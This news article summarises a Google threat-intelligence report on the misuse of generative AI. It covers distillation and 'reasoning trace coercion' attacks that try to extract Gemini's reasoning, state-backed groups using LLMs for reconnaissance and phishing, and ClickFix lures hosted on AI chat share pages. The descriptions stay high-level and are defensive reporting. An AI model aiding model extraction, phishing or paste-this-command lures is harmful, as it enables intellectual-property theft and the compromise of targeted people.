Google Warns of AI Model Theft and State-Backed Misuse: A Deep Dive into the Risks and Countermeasures
Google's Threat Intelligence Group (GTIG) has released a comprehensive report detailing a concerning trend: the rise of AI model theft and state-backed misuse of generative AI technologies. The report highlights how these threats are evolving and becoming more sophisticated, posing significant challenges to both Google and the broader tech industry.
The Growing Threat of Model Extraction
One of the most alarming findings is the increase in "model extraction attempts" or "distillation attacks." This involves malicious actors repeatedly querying a mature AI model to gather outputs that can be used to train a separate, potentially harmful model. The GTIG describes this as intellectual property theft, exploiting legitimate access routes like APIs rather than traditional network intrusions.
Google's DeepMind and GTIG have identified over 100,000 prompts associated with a campaign aimed at "reasoning trace coercion." This technique forces the AI model, Gemini, to reveal its internal reasoning processes, which could be misused for malicious purposes. Google's proactive monitoring and real-time risk reduction measures have mitigated the threat.
Targeting Model Developers and AI Service Providers
GTIG emphasizes that the risk of model extraction is concentrated on model developers and AI service providers, rather than average users. They recommend that organizations offering AI models as a service closely monitor API access patterns that resemble extraction or distillation activities.
State-Backed Actors and Their Tactics
The report highlights how state-backed actors are leveraging large language models for various malicious purposes. These include technical research, targeted phishing attacks, and the rapid generation of convincing phishing lures.
Specific examples include:
- UNC6148: An unattributed actor tracked by GTIG used Gemini for targeted intelligence gathering, including sensitive account credentials and email addresses. Phishing attempts against these accounts were later observed, focusing on Ukraine and the defense sector.
- Temp.HEX: A China-based actor, Temp.HEX, used Gemini and other tools to compile information on individuals, including targets in Pakistan, and data on separatist organizations in multiple countries.
- APT42 (Iranian Actor): This group employed generative AI models, including Gemini, for reconnaissance and targeted social engineering. They searched for official emails and researched potential business partners, as well as translated and understood local references.
Evolving Phishing Techniques
The report notes that language quality is becoming a less reliable indicator for defenders as attackers use AI to generate tailored messages in local languages and professional tones. A new phishing technique, "rapport-building phishing," involves attackers using multi-turn interactions to build credibility before delivering a malicious payload.
The Role of "Agentic AI"
GTIG also highlights the growing interest in "agentic AI" features, which are systems designed to act with a higher degree of autonomy. While these tools offer exciting possibilities, GTIG has not yet seen evidence of the claimed capabilities being used in the wild.
Underground Services and Malware
The report uncovers an underground market for services that claim to provide custom offensive AI models but rely on commercial systems. One such example is the toolkit Xanthorox, which uses third-party products, including Gemini, and open-source tools. Google's Trust & Safety team took swift action by disabling identified accounts and AI Studio projects associated with Xanthorox.
Additionally, GTIG describes a campaign that abused public-sharing features of AI chat services to host social engineering content. Attackers used instructions that encouraged users to copy and paste malicious commands into terminals, a technique known as ClickFix. This activity targeted macOS users and was distributed across multiple chat platforms, including Gemini.
Google's Commitment to Responsible AI
Google emphasizes the importance of developing AI in a responsible and ethical manner. They aim to maximize the positive benefits to society while addressing the challenges posed by these threats. The company will continue to use threat intelligence and product enforcement to disrupt abuse and expects further experimentation with AI-enabled techniques across various malicious activities.
